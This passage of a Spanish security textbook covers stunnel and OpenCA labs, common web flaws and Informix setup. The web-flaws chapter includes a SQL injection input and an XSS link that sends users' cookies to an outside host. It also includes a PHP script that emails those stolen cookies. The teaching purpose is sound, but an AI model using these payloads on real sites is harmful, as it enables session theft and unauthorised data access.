Los datos entre el cliente y el servidor HTTP estn cifrados, puede demostrase con un sniffer?

Si se utiliza en el nombre del servidor localhost, que problemas se presentaran con el


explorador web y los certificados?

469

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

16. Laboratorio: Tneles con STUNNEL mediante openssl


Prerrequisitos:

Se debe tener creada una CA localmente, en un laboratorio anterior se creo una CA donde la clave
privada de la CA se llamaba cakey.pem, con passphrase sistemas y la clave pblica o certificado
digital de la CA se llamaba cacert.pem.
Tambien debera existir la llave privada correo-key.pem del ejercicio anterior
Asegurese que el puerto 443 no este siendo utilizado, para esto baje el servicio apache y edite el
archivo/fichero httpd.conf ahora inserte un signo comentario # a la instruccin INCLUDE.
Finalmente suba el servicio y verifique que el puerto este cerrado.

Objetivo:

Se debe crear un tnel entre dos mquinas de tal manera que un PC Windows con un explorador
web pueda interpretar el trfico cifrado
Entiendase que stunnel es una herramienta que permite convertir protocolos no protegidos en
protocolos seguros
Este laboratorio utilizara esta herramienta para ofrecer seguridad a una conexin TCP de tipo http
Ms informacin de stunnel se puede encontrar en http://www.stunnel.org

Paso 1: Generar un certificado con extensiones de servidor y formato PEM


En el directorio /usr/local/ssl basado en la clave privada correo-key.pem se debe generar un requerimiento a
la CA local de llave pblica con el comando:
# cd /usr/local/ssl
# openssl req -new -key correo-key.pem -out stunnel-csr.pem -config openssl.cnf

-sha1

-outform PEM

Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El sistema pide los datos del certificado que identifica al servidor que se desea asegurar como: Pais,
Estado/departamento, Organizacin y Nombre del servidor que para este requerimiento es critico.
Paso 2: Firmar el requerimiento utilizando la CA local y generar el certificado del servidor
Se edita el archivo de configuracin openssl.cnf
[ stunnel ]
basicConstraints=critical,CA:FALSE
extendedKeyusage=serverAuth
El parmetro extendedKeyUsage=serverAuth indica que el certificado ser usado para autenticacin de un
servidor
# openssl ca -verbose -policy policy_anything -out stunnel-cert.pem -days 180 -config openssl.cnf
stunnel-csr.pem -extensions stunnel -passin pass:sistemas

-in

Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El parmetro -passin pass:sistemas es obligatorio cuando el tamao es muy pequeo en la clave de la llave
de la CA
Paso 3: Configurar Stunnel de tal forma que permita acceder al servidor Apache de la mquina local
utilizando un canal seguro, por ejemplo a travs del puerto 443 donde se cifrara la informacion.
Tecnicamente se desea redireccionar el trafico del puerto 80 al 443 pero primero se cifra el canal.

470

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Se prepara el archivo de configuracin /etc/stunnel/stunnel.conf


client
debug
chroot
setuid
setgid
pid
CAfile
cert
key

=
=
=
=
=
=
=
=
=

no
7
/var/lib/stunnel/
stunnel
nogroup
/var/run/stunnel.pid
/usr/local/ssl/cacert.pem
/usr/local/ssl/stunnel-cert.pem
/usr/local/ssl/correo-key.pem

[https]
accept = 443
connect = 80
TIMEOUTclose

=0

Nota: Los siguientes campos no se deben usar en Fedora VIII:


chroot
setuid
setgid

= /var/lib/stunnel/
= stunnel
= nogroup

Paso 4: Lanzar apache versin 2


Se lanza el servidor apache con el comando:
# /usr/local/apache2/bin/apachectl start

Paso 5: Lanzar stunnel


Se lanza el servidor stunnel con el comando:
# /usr/sbin/stunnel

/etc/stunnel/stunnel.conf

Notas:

La herramienta stunnel le preguntara el password de la clave privada correo-key.pem


Si sospecha de problemas se debe reviar el archivo/fichero de logs /var/log/messages
Si el servicio no sube por algn error, entonces no aparecer en la tabla de procesos: ps edf | grep
stunnel

Paso 6: Pruebas con un browser


La pgina web se ve cifrada en el siguiente url: https://localhost

Cuestionamientos

Los datos entre el cliente y el servidor HTTP estn cifrados, puede demostrase con un sniffer?

Se podra asegurar cualquier servicio que transfiera datos en claro con stunnel?

Esto es lo mismo que una VPN basada en IPSEC?

Podria un servidor telnet que no usa SSH emular ssh para sesiones ssh desde un cliente
Windows SSH?

471

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

17. Laboratorio: Cofiguracin de OpenCA


Objetivo:
Configurar openCA como servicio de gestin para la empresa ficticia GPS de Colombia.
Prerrequisitos:

Se debe tener instalado el Suse Linux Enterprise Server 10 con los siguientes componentes:

Openssl, Openldap, Apache, DNS, perl, Ver anexos respectivos.

Para revisar la existencia de los mencionados paquetes se debe digitar:

# rpm q openldap2 openssl apache2 named perl

Ademas se deben configurar los dominios virtuales de apache pues en un mismo servidor existirn
los tres servicios: CA, RAserver y public

El directorio de trabajo ser /tmp para copiar y descomprimir los programas

Cuando se instalen los paquetes estos se instalaran por defecto en /usr/local/OpenCA

Desacrgue de www.openca.org todos los modulos de openca con sus servicios adicionales como
openca-ocspd

Paso 1: Configurar el motor de base de datos


# su postgres
# createuser A d W openca
# createdb U openca W openca
El usuario administrador es openca y la base de datos principal se llamara openca

Paso 2: Copiar el esquema de base de datos LDAP


# cp /tmp/openca-0.9*/contrib/openldap/openca.squema /etc/openldap/schema

Paso 3: Editar slapd.conf y registrar el nuevo esquema ldap


# vi /etc/openldap/slapd.conf

Paso 4: Descomprimir los paquetes


# cd /tmp
# gunzip *

Paso 5: Instalar openca-tools antes de instalar openca


#
#
#
#
#
#

cd /tmp
tar xvmf openca-tool*
cd openca-tool*
./configure
make
make install

Paso 6: Instalar openca-0.9.x despus de instalar openca-tools


#
#
#
#
#
#
#

cd /tmp
tar xvmf openca-0.9*
cd openca-0.9*
./configure
make
make install-offline
make install-online

472

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Paso 7: Configurar openca segn plantillas de tipo xml


# vi /usr/local/openca/etc/config.xml
En este archivo existen secciones para la interface con LDAP, Apache y PosgresQL

Paso 8: Propagar los cambios desde las plantillas de tipo xml para la RA
# . /usr/local/openca/etc/configure_etc.sh
Para subir el servicio digite:
# . /usr/local/openca/etc/openca_rc start
Para bajar el servicio digite:
# . /usr/local/openca/etc/openca_rc stop
No olvide subir los servicios apache, dns, ldap y posgresql

Paso 9: Probar las interfaces web de usuario


En un explorador digite:
https://localhost/ca, para ver si la CA esta funcionando
https://localhost/ra, para ver si la RA esta funcionando
https://localhost/pub, para ver si la interface pblica esta funcionando
https://localhost/ldap, para ver si la interface contra ldap esta funcionando
https://localhost/batch, para evaluar si funciona el procesamiento en lotes

Paso 10: Instale mas servicios de openca como openca-ocspd para informar en lnea el estado del
certificado
#
#
#
#
#
#

cd /tmp
tar xvmf openca-ocspd*
cd openca-ocspd*
./configure
make
make install

Paso 11: Instale mas servicios de openca como libpki*:


#
#
#
#
#
#

cd /tmp
tar xvmf libpki*
cd libpki*
./configure
make
make install

Paso 12: Instale mas servicios de openca como libprq*:


#
#
#
#
#
#

cd /tmp
tar xvmf libprq*
cd libprq*
./configure
make
make install

473

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Bibliografa
[1]. PKI Infraestructura de claves pblicas, Andrew Nash, Osborne McGraw-Hill, Enero 2002, ISBN: 958-410283-4
[2]. Windows Server(TM) 2003 PKI and Certificate Security, Brian Komar, Microsoft, Julio 2004.
[3]. Network Security with OpenSSL, John viega, Matt messier y Pravir Chandra, Jun 15, 2002.
[4]. Secure TCP/IP Programming with SSL, Developer Guide, Edward zaremba, Marzo 8, 2007.

RFCs y estndares:
PKIX Charter del IETF - http://www.ietf.org/html.charters/pkix-charter.html
PKCSs - http://www.rsasecurity.com/rsalabs/pkcs
Proveedores tecnolgicos - Software PKI:

OpenCA - http://www.openca.org
RSA - http://www.rsa.com
Nexus - http://www.nexus-secured.com
IDX-PKI - http://idx-pki.idealx.org/faq.en.html
SafeLayer - http://www.safelayer.com

Proveedores tecnolgicos - Tokens criptogrficos:

Rainbow - http://www.rainbow.com
Aladdin - http://www.ealaddin.com
Setec - http://www.setec.fi
nCipher - http://www.ncipher.com

474

PARTE IV
DESARROLLO DE APLICACIONES
SEGURAS

475

Captulo 19
Seguridad en aplicaciones
Objetivos:

Resumir estudios de bsqueda de fallas en las aplicaciones

Conocer las fallas ms conocidas como SQL Injection, XSS y metacaracteres en formularios

Implementar en PHP un XSS que robe los cookies de los usuarios en los exploradores web

Usar las herramientas mas conocidas para buscar las fallas en las aplicaciones web

Blindar una aplicacion en PHP sobre Open Ldap hasta llegar a cero errores
1.0

Introduccin

Uno de los primeros estudios en seguridad de aplicaciones y privacidad de la informacin en sistemas


operativos se denomino el proyecto RISOS del ingls Research Into Secure Operating Systems [1]. El
proyectoRISOS propone y describe los errores ms comunes en el desarrollo de los sistemas operativos,
esa investigacin los divide en 7 categoras:

Validacin incompleta de parmetros


Validacin inconsistente de parmetros
Exceso de confianza al compartir privilegios y datos confidenciales en forma implcita
Validacin asincrnica e Inadecuada serializacin de datos
Inadecuada Identificacin, Autenticacin y Autorizacin
Pocas prohibiciones a las violaciones y bajos controles en lmites de recursos
Posibilidad de aprovechamiento de errores de lgica en el cdigo

Hoy encontramos una clasificacin sistemtica de la seguridad de las aplicaciones mucho ms compleja por
la evolucin del web, algunas fuentes interesantes son:
Taxonoma Fortify [2] que la clasifica en las siguientes categoras:

Validacin de entrada y de representacin de datos


Abuso de los API
Caractersticas de Seguridad: Autenticacin, control de acceso, criptografa, confidencialidad y
control de privilegios.
Tiempo y el Estado: Tiene que ver con el orden en que se comunican los entes en la computacin
distribuida
Errores: Una aplicacin que muestra muchos errores a los posibles atacantes
Calidad del cdigo: Un atacante pondr a prueba rpidamente a una aplicacin con baja calidad
Encapsulamiento: Diferentes aplicaciones en un explorador no podrn compartir los datos, es decir
deben existir lmites entre los datos entre diferentes aplicaciones.

Entonces este capitulo busca profundizar en las fallas ms comunes de las aplicaciones iniciando por la falta
de validacin de campos de entrada, inyeccin SQL, ejecucin de cdigo malicioso en el cliente mediante
Cross-Site Scripting, ejecucin remota de comandos y secuestro de sesiones o sesion Hijacking.

476

Parte IV, Captulo 19 Seguridad en aplicaciones

2.0

Antecedentes

El 92% de las vulnerabilidades estn en el software segn NIST. En los ltimos diez aos se ha encontrado
que hay un crecimiento anual del 43% de vulnerabilidades en las aplicaciones ms importantes segn
CERT.
Se dice segn Lee Babin en Beginning Ajax with PHP [3] que la superficie de ataque en las aplicaciones se
forma por todos los puntos de entrada a la aplicacin. Es decir cada punto de entrada a una aplicacin podra
permitir que una amenaza se aproveche de una vulnerabilidad y as se materialice un riesgo. Entendiendo
por amenaza un evento que se aprovecha de una falla o vulnerabilidad y por riesgo la posibilidad de perdida.
Es por esto que hay un alto crecimiento de estndares y normas como la ISO-27002:2005 donde se le
dedica a la seguridad de las aplicaciones todo un dominio, ahora la aparicin de estndares implementados
en frameworks como el OWASP generan madurez alrededor de la seguridad de las aplicaciones.
Es interesante leer OWASP (www.owasp.org), OWASP es un proyecto abierto de seguridad en aplicaciones
Web compuesto por una comunidad abierta y libre a nivel mundial enfocada en mejorar la seguridad de las
aplicaciones de software.

3.0

Fallas ms conocidas

3.1

Validacin de campos de entradas de usuarios

Este es el error ms frecuente en la programacin de las aplicaciones, el no validar los caracteres especiales
o meta caracteres cuando el usuario esta capturando datos en un formulario [4].
Los meta caracteres o caracteres especiales son: ! # $ % & / ( ) | \ { } = ; : . , < > - _ ^ ? ` ~
* [ ].
Estos tienen un significado diferente dentro de las aplicaciones, por ejemplo el apostrofe invertido
`comando` alrededor de la palabra comando, har que internamente se ejecute el comando en mencin.
Esto obviamente no es lo deseado por el programador y esto se convierte en una vulnerabilidad o falla que
puede ser aprovechada por un usuario mal intencionado.
Se deben validar los tipos de los datos para evitar por ejemplo que en un campo de imgenes se le enve un
archivo que no sea una imagen.
Se debe validar que no se acepten dentro del programa el envo de archivos mayores al mximo permitido,
esto podra causar una lentitud del sistema o una cada del sistema.
No se deben aceptar datos de mayor longitud que el mximo permitido al definir el campo en las bases de
datos o formularios.
Se deben evitar buffers overflows no permitiendo que una entrada mayor a la capacidad de un campo sea
escrito en la memoria de otro campo. Es decir no se debe sobrescribir la informacin de otro campo.

3.2

Inyeccin SQL

La informacin almacenada en las bases de datos es parte de la informacin que podra ser valiosa como
activo de informacin de la empresa. Un acceso no autorizado a la informacin impacta los activos de la
organizacin.
Generalmente los usuarios deben participar en la construccin de la instruccin SQL que se desea usar para
consultar, crear, modificar o borrar datos. Cuando en un formulario el usuario rellena la informacin que
filtra los datos, el usuario podra incluir caracteres con un fin mal intencionado. Es ac, en esta inocente
captura de datos que ocurre la inyeccin SQL.
Por ejemplo la siguiente consulta espera un parmetro del usuario:
Select * from gn_paise where cod_paises =
Se debe observar el apostrofe al final esperando ser cerrado cuando llegue la informacin.

477

Parte IV, Captulo 19 Seguridad en aplicaciones

Si el usuario digito en el campo la siguiente informacin:


026 or 1=1
Cuando el programador concatene su comando previo con la informacin del usuario se ver como sigue:
Select * from gn_paise where cod_paises = 026 or 1=1
Y esta instruccin SQL obtendr todas las filas de la tabla de la base de datos consultada, obviamente no era
lo que esperaba el programador. Y ahora toda la confidencialidad estar comprometida.
Si el comando SQL fuera update o delete entonces la integridad y la disponibilidad de la informacin se
veran altamente impactadas.
Una recomendacin para evitar este ataque es que todo campo debe estar encerrado entre comillas simples,
nunca entre comillas dobles.
Siempre anteceda un carcter de escape \ a cualquier carcter especial que desee para SQL. Este har fallar
a la consulta.
Valide la existencia de metacaractares para evitar este tipo de ataque.

3.3

Cross-Site Scripting

La palabra cross-site nos indica que en el ataque intervienen por lo menos dos servidores y lo que busca
este ataque especializado es ejecutar un script de comandos con fines malvados (maliciosos) en el browser
del cliente residente en el PC de la vctima.
Esto se logra por ejemplo engaando al usuario mediante un correo que parece ser interesante para la
vctima, el atacante enva un correo con un URL malicioso invitando al usuario a seguirlo, cuando el usuario
hace click sobre el URL, lo lleva a un servidor web que contiene los scripts que harn el ataque.
Este es un ejemplo de un URL sospechoso embebido en un correo electrnico inocente:
<a href = http://www.lacositarica.com.co/guao.php?subject=Linda>!!Haga click y hgase rico!!</a>
Y dentro del servidor un comando PHP para recibir el subject seria $_GET[subject], esto le da el poder al
atacante de saber que el usuario cay en la trampa.
Que nos da razones muy validas para crear la siguiente poltica de seguridad, Los programas clientes no
deben descargar automticamente imgenes u objetos de sitios no confiables
Este es un ejemplo de un URL malicioso con comandos javascript embebido en una pgina web que se roba
los cookies del usuario:
<a href = # onmouseover = window.location= http://www.lacositarica.com.co/guao.php?cookie= +
document.cookie.escape();>!!Mueve el mouse, que rico!!</a>
Y dentro del servidor un comando PHP para recibir el cookie seria $_GET[cookie], ahora el atacante tendr
toda la informacin confidencial como claves que usa en sus portales financieros.
Si deseamos enviar la informacin confidencial robada por medio del correo electrnico este sera un buen
ejemplo desde el punto de vista del servidor:
<?php
$cookie = $_GET[cookie];
$url= $_SERVER[HTTP_REFERER];
mail(acarvajalr@gmail.com,Otro que cae,$url - $cookie);
header(Location: .$url);
?>
Para prevenir estos ataques se recomienda tener en cuenta en el momento del diseo:
Revisar los puntos de entrada a los programas desde sus interfaces de usuarios mediante un mapa flujo de
datos entre los programas y las interfaces de usuarios.

478

Parte IV, Captulo 19 Seguridad en aplicaciones

No utilizar el mtodo GET para enviar datos desde las formas a los programas, en cambio debe usarse POST
para el envo de datos desde las formas de datos de usuarios hacia cualquier programa del sistema. Es decir
se debe maximizar la recepcin de datos de los programas por el mtodo POST de las formas de datos.
SSL es un mtodo de transporte de datos seguros, y solo podra evitar el ataque localmente, esta tecnologa
no previene los ataques XSS. (http://cgisecurity.com/articles/xss-faq.html#ssl)
Codifique el cdigo HTML como no HTML si es una entrada de datos. En PHP HTMLEntities().
Se deben desactivar (sanitize) los URL en las entradas de los usuarios. En PHP parse_url().
Evale dentro de su programa que el URL de la forma sea igual al URL del servidor de aplicaciones.
Trate de predecir y validar que el usuario responda con datos del tipo de dato que se est capturando.
Pruebe sus scripts con el software open source http://chxo.com/scripts/safe_html-test.php

3.4

Ejecucin remota de comandos

3.4.1

curl

La herramienta curl permite simular un explorador web para probar en forma automatizada la falla por olvido
de la autenticacin y autorizacin de usuarios en los diferentes URL de un portal web [5]:
Este Shell Linux/Unix automatiza el uso de curl:
#!/bin/sh
# Explorador web que usaremos -> User Agent
UA="Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
# Nombre de los cookies que crea el servidor en el cliente
JAR="cookies.txt"
# Se borran los cookies anteriores si existen
[ -f ${JAR} ] && rm -f "${JAR}"
# Archivos/ficheros donde residen las paginas web consultadas
RES="resultado.html"
# URL a consultar
URL="http://www.runt.com.co:7777/runt/ciudadanos/consultas/consulta_ciudadano_por_documento_final_p
ublic.jsf"
# Numero de documento, ej: 11.222.333 Armando Carvajal
DOC="11222333"
# Tipo de documento
TIP="C"
curl -o "${RES}" -s -L -A "${UA}" -e ";auto" -b "${JAR}" -c "${JAR}" "${URL}"
curl -o "${RES}" -s -L -A "${UA}" -e ";auto" -b "${JAR}" -c "${JAR}" \
-d "ConsultaCiudadanoPorDocumentoForm:personaTipoidentIdtipdocSearch=${TIP}" \
-d "ConsultaCiudadanoPorDocumentoForm:personaNrodocumeSearch=${DOC}"
\
-d "ConsultaCiudadanoPorDocumentoForm:btnconsultarCiudadano=Search"
\
-d "ConsultaCiudadanoPorDocumentoForm=ConsultaCiudadanoPorDocumentoForm" \
-d "autoScroll=" \
-d "ConsultaCiudadanoPorDocumentoForm:_link_hidden_=" \
-d "ConsultaCiudadanoPorDocumentoForm:j_idcl=" \
-d "javax.faces.ViewState=j_id1" \
-d "detalleLicenciTransitoOpenedState=" \
-d "detalleLicencia:btnCancelar=Accept" \
-d "detalleLicencia=detalleLicencia" \
-d "detalleLicencia:_link_hidden_=" \

479

Parte IV, Captulo 19 Seguridad en aplicaciones

-d "detalleCertificadoConduccionOpenedState=" \
-d "formDetalleCertificadoConduccion:btnAceptarDetalleCertificadoConduccion=Accept" \
-d "formDetalleCertificadoConduccion=formDetalleCertificadoConduccion" \
-d "formDetalleCertificadoConduccion:j_idcl=" \
-d "formDetalleCertificadoConduccion:_link_hidden_=" \
"${URL}"
Explicacin de parmetros de la herramienta curl:
-o indica el archivo donde guardare las paginas web descargadas
-L indica que si hay certificados digitales de autenticacin web los use
-e indica que si el servidores responde una redireccin debe seguirla
-b indica leer el archivo del cookies
-c indica escribir el archivo de cookies
-d indica una lista de parmetros, para saber cuales son los parmetros hay que descargar el formulario y
buscar las variables que debemos inicializar para enviar al servidor.
Nota: Curl no cifra o codifica los parmetros, para ello se debe crear un archivo con los parmetros
codificados por la herramienta openssl y ponerlos en un archivo, este archivo se le pasa a curl en el
parmetro d @elarchivodeparametros.txt
Es importante el smbolo @ delante del archivo/fichero de parmetros codificados.

3.4.2

Monitoreo de un servicio va mensajes SMS por celular

#!/bin/bash
tmp="/tmp/`basename $0`.`date +%F`"
log="`echo $tmp | tr ' ' '-'`"
des="3102349772@comcel.com,tecnico@globalteksecurity.com"
rec="acarvajalr@gmail.com"
www="www.globalteksecurity.com"
alt="www.google.com"
sem="$log.$www.sem"
# echo "Revisando portal $www cada 15 minutos v1.0" | mail -s "Vigia Activado" -r $rec $des
wget --spider -o $log.$www $www
rt1="$?"
wget --spider -o $log.$alt $alt
rt2="$?"
# $? 0 - Indica que el servicio esta bien
# $? 1 - Indica que el servicio esta mal
# Se cayo el portal vigilado y google no cae
if test "$rt1" = 1 && "$rt2" = 0 ; then
if test ! -f "$sem" ; then
touch $sem
echo "Atencion: No me responde el portal $www, por favor revisar.`date`" | mail -s "Portal Caido" -r
$rec $des
fi
fi
# Se cayo portal y google tambien => Internet caido en modelia
if test "$rt1" = 1 && "$rt2" = 1 ; then
if test ! -f "$sem" ; then
touch $sem
echo "Atencion: Internet caido en modelia, por favor revisar.`date`" | mail -s "Modelia Caido" -r $rec
tecnico@globalteksecurity.com
fi
fi

480

Parte IV, Captulo 19 Seguridad en aplicaciones

3.5

Secuestro de sesiones o sesin Hijacking

Tarea: Haga unos ejemplos de esta vulneranilidad para la siguiente sesin

4.0

Conclusiones

5.0

No es lo mismo vulnerabilidades de red que vulnerabilidades de aplicaciones


El hacking tico va mas all del anlisis de vulnerabilidades
La mayora de las organizaciones no saben que por medio de su portal (ej: correo, intranet, etc)
pueden ser penetrados
La mayora de programadores no validan los ataques ms bsicos de:
o
Meta caracteres en campos de entrada
o
Validacin del tipo de campo
o
Validacin del tamao del campo
o
SQL Injection
o
XSS
Bibliografa

[1]. R.P. Abbott, J. S. Chin, J.E. Donnelley, W.L. Konigsford, S. Tokubo, and D.A. Webb. Security Analysis
and Enhancements of Computer Operating Systems. NBSIR 76-1041, National Bureau of Standards, ICST,
Washington, D.C., 1976
[2]. http://www.fortify.com/vulncat/en/vulncat/index.html
[3]. Lee Babin, Beginning Ajax with PHP, Apress, 2007. ISBN 1-59059-667-6
[4]. Chris Snyder and Michael Southwell, Pro PHP Security, Apress, 2005. ISBN 1-59059-508-4
[5]. Paco Hope E Ben Walther, Web Security Testing Cookbook, OReilly, 2008. ISBN 978-0-596-51483-9

481

Captulo 20
Seguridad en Bases de datos
Objetivos:

Instalar y configurar una sistema de gestin de bases de datos

Conocer en profundidad el SQL Injection

Crear un programa en PHP con acceso nativo a las bases de datos

Cifrado de columnas con datos sensibles en tablas de bases de datos


Un ejemplo de la vida real: Instalacin de productos IBM Informix
1.0 Prerrequisitos:
Cree un grupo informix y un usuario informix que pertenezca a este grupo.
El comando seria:
# groupadd informix
# useradd m g informix d /usr/informix informix
# passwd informix
Este comando crea el usuario informix en el grupo informix sobre el directorio /usr/informix

Pasos para la instalacin:


La secuencia de instalacin que debera seguirse para todos los productos Informix es por las fechas de la
ms vieja hacia la fecha ms nueva, en general la siguiente es la ms conocida:
1.
2.
3.
4.
5.
6.
7.

2.0

Informix
Informix
Informix
Informix
Informix
Informix

SQL
4GL
IDS
ClientSDK
ESQLC
Web Datablade

Preparacion del ambiente o entorno

Edite el archivo .profile o .bash_profile, o su shell de trabajo y adicione la variable


LD_LIBRARY_PATH con los directorios de libreras de informix, as:
export
LD_LIBRARY_PATH=/usr/informix/lib:/usr/informix/lib/c++:/usr/informix/lib/cli:/usr/informix/lib/client:/usr/
informix/lib/csm:/usr/informix/lib/dmi:/usr/informix/lib/esql:/usr/informix/lib/tools:/usr/informix/extend/we
b.4.13.UC3/apache

482

Parte IV, Captulo 20 Seguridad en Bases de datos

INFORMIXDIR=/usr/informix
PATH=$PATH:$INFORMIXDIR/bin
INFORMIXSERVER=emmsa_shm
export INFORMIXDIR PATH INFORMIXSERVER LD_LIBRARY_PATH
LANG=ISO-8859-15
export LANG
la variable LANG permite que en la base de datos pueda grabar caracteres acentuados como las letras , , ,
, , ,
Informix IDS buscaran de preferencia la variable LD_LIBRARY_PATH, si no existe esta variable entonces
buscara el archivo /etc/ld.so.conf.
Se recomienda el uso la variable LD_LIBRARY_PATH para evitar la perdida de algunos milisegundos.
Esta es una copia del archivo /etc/ld.so.conf que hace ms lento al sistema si lo utilizramos:
/usr/X11R6/lib/Xaw3d
/usr/X11R6/lib
/usr/i486-linux-libc5/lib=libc5
/usr/i386-suse-linux/lib
/usr/local/lib
/opt/kde3/lib
/opt/gnome/lib
include /etc/ld.so.conf.d/*.conf
###############################
# Librerias para Informix 4GL #
###############################
/usr/informix/lib
/usr/informix/lib/c++
/usr/informix/lib/cli
/usr/informix/lib/client
/usr/informix/lib/csm
/usr/informix/lib/dmi
/usr/informix/lib/esql
/usr/informix/lib/tools
/usr/informix/extend/web.4.13.UC3/apache
Si no desea salir de la sesin digite el siguiente comando:
#.

./.profile

El comando anterior evitara salir de la sesin

3.0

Instalacion del IBM IDS 10

Paso 1: Creacin del ambiente informix.


Del paso anterior observe la variable INFORMIXSERVER:
export PATH=$PATH:/usr/informix/bin:.
export INFORMIXDIR=/usr/informix
export INFORMIXSERVER=nomb_maquina_shm
Donde nomb_maquina debe reemplazarse por el nombre de la instancia.
El nombre nomb_maquina_shm es el nombre supuesto de la primera instancia de informix que es diferente
al nombre real de la mquina, en este caso el nombre real es nomb_maquina. nomb_maquina_shm
hace referencia al nombre del servidor basado en el mecanismo de intercomunicacin de procesos IPC
Shared memory.
Nota: para este caso se le llamo emmsa_shm

483

Parte IV, Captulo 20 Seguridad en Bases de datos

Guarde su /.profile con la opcin ESC shift :x

Paso 2: Preparacin de los dispositivos de almacenamiento.

Para archivos del sistema de archivos Unix/linux:

A este mtodo tambin se le llama archivos cocinados o Cook Files, para ello, cree los archivos que
contendrn los datos:
# touch /u/informix/datos/chunk_rootdbs1
# touch /u/informix/datos/chunk_logs1
# touch /u/informix/datos/chunk_temp1

para el dbspace rootdbspace


para el dbspace de logs
para el dbspace de datos temporales

# touch /u/informix/datos/chunk_datos1

para el dbspace de datos

Cambie los permisos a 660 para que el usuario informix pueda manipular los dispositivos:
# chmod 660 /u/informix/datos/chunk*
...
El dueo y el grupo debe ser el usuario y grupo informix
# chmod 660 /u/Informix/datos/chunk*
# chown informix:informix /u/informix/datos/chunk*
...
Para este caso se encuentra el siguiente espacio disponible:
/audit 2.5GB
/data 7.6GB

484

Parte IV, Captulo 20 Seguridad en Bases de datos

# touch /audit/informix/chunk_rootdbs1
# touch /data/informix/chunk_datos1
# touch /data/informix/chunk_datos2

para el dbspace rootdbspace 2.5GB


para el dbspace de datos 4gb
para el dbspace de datos 3.6GB

Para este caso dado el poco recurso se usaran archivos cocinados, no usaremos raw devices, esto se debe a
que el servidor no cuenta con los volmenes necesarios que podran ser:
/dev/vg02/lvol01 para el primer chunk segn lo diseado, /dev/vg02/lvol02 para el segundo chunk.

El dueo y el grupo debe ser el usuario y grupo informix


#
#
#
#

chmod 660 /audit/informix/chunk*


chmod 660 /data/informix/chunk*
chown informix:informix /audit/informix/chunk*
chown informix:informix /data/informix/chunk*

Para el caso de raw devices se deja la siguiente configuracin en /etc/raw:

raw1:sdc1
raw2:sdc2
raw3:sdc3
raw4:sdd1
raw5:sdd2
raw6:sdd3
raw7:sdd5
raw8:sdd6
raw9:sdd7
raw10:sdd8
raw11:sdd9
raw12:sdd10
raw13:sdd11
raw14:sdd12
raw15:sdd13
raw16:sdd14
raw17:sdd15
Paso 3: Extraccin de Informix IDS.

Copie el archivo hacia /usr/informix:


# cd /usr/informix
# tar xvmf

/u/ids11.50.uc1.32bits.tar

Paso 4: Ejecute el shell de instalacin:


Ahora en el directorio del usuario informix estarn los directorios necesarios para la instalacin.
# cd /usr/informix
# ./ids_install
Siga los pasos propuestos por el shell.

485

Parte IV, Captulo 20 Seguridad en Bases de datos

Paso 5: Descripcion de las instancias en sqlhosts


Ahora edite el archivo /usr/informix/etc/sqlhosts para describir las instancias:
nomb_maquina_shm
nomb_maquina_soc

onipcshm
onsoctcp

nomb_maquina
nomb_maquina

sqlexec_shm
sqlexec_soc

s=3

La primera columna nos indica el nombre de la instancia en el archivo onconfig


La segunda columna: Tipo de conexin onsoctcp, se usa para indicar que trabaje con sockets y
onipcshm indica usar shared memory.
Es importante recordar que onipcshm en el archivo /usr/informix/sqlhosts equivale a ipcshm del
archivo /usr/informix/etc/onconfig y onsoctcp del archivo /usr/informix/etc/sqlhosts equivale a
soctcp del archivo /usr/informix/etc/onconfig
La Tercera columna indica el nombre del servidor, por ejemplo linux
La cuarta columna indica el nombre del servicio, por ejemplo para redes orientadas a conexin use
sqlexec_soc, para conexiones locales sqlexec_shm que indica shared memory.
Estos servicios deben estar habilitados en /etc/services.
La quinta columna indica que la conexin entre servidores se har evaluando el archivo
/etc/hosts.equiv.
Si s=3 entonces se usaran dos archivos: /etc/hosts.equiv y .rhosts para crear una
relacin de confianza entre los servidores en cluster

Para este caso debe quedar asi las instancias:


emmsa_shm
emmsa_soc

onipcshm
onsoctcp

emmsa
emmsa

sqlexec_shm
sqlexec_soc

486

s=3

Parte IV, Captulo 20 Seguridad en Bases de datos

Revise que los archivos sqlhost y onconfig tengan como dueo al usuario informix del grupo
informix.
El archivo /etc/services debera verse as:
sqlexec_soc
sqlexec_soc

9088/tcp
9088/udp

Ntese que en este archivo no aparece la instancia sqlexec_shm o shared memory pues este usa solamente
el mecanismo local y no el de red.

Paso 6: Configure la instancia principal de Informix IDS


Manualmente con el comando oninit
Suponiendo que nicamente tendr una instancia de Informix, copie el archivo /usr/informix/onconfig.std
sobre onconfig, si hay varias instancias copie el archivo hacia los archivos de las diferentes instancias.
No olvide que el dueo y el grupo deben ser informix.
Edite el archivo /usr/informix/etc/onconfig y modifique las variables relevantes a la instancia, se debe
asignar manualmente la variable Primary path, Tape dev, etc.
Para este caso el archivo se llama: /usr/infomix/etc/onconfig
Inicialice la instancia con el comando oninit ivy
Estos pasos en versiones anteriores se podan hacer con el comando asistido onmonitor pero en la versin
IDS 10 UC1 obtendr el error: error writing to network, use oninit ivy de preferencia.
Este error nicamente ocurre en la versin IDS 10 UC1, no ocurre con las nuevas versiones.
Nota: Cuidado nunca ejecute dos veces este comando despus de tener datos instanciados, si lo hace los
datos se perderan!

Asistido por el comando onmonitor:


# onmonitor, luego seleccione Parameters, luego Initialize.
Deber ver la siguiente ventana:

487

Parte IV, Captulo 20 Seguridad en Bases de datos

El primary Path es el dispositivo o device que usted elija, para esta pantalla se seleccion un archivo plano
/audit/informix/chunk_rootdbs1, pero lo ideal por seguridad es un raw device dedicado a Informix como
por ejemplo /dev/raw/raw1.
Raw device indica que es un dispositivo del cual Unix/linux no sabe como manejarlo es como una cinta de
tape backup o dispositivo en bruto.
Linux/Unix permite que otro sistema de gestin de datos manipule el contenido del disco sin depender del
sistema operativo.
Se conocen casos reales de 250 usuarios donde estas variables deben configurarse como Phy log size =
80.000, Log size = 40.000, para obtener excelentes rendimientos respecto del manejo de logs de
transacciones, claro si hay espacio en disco.
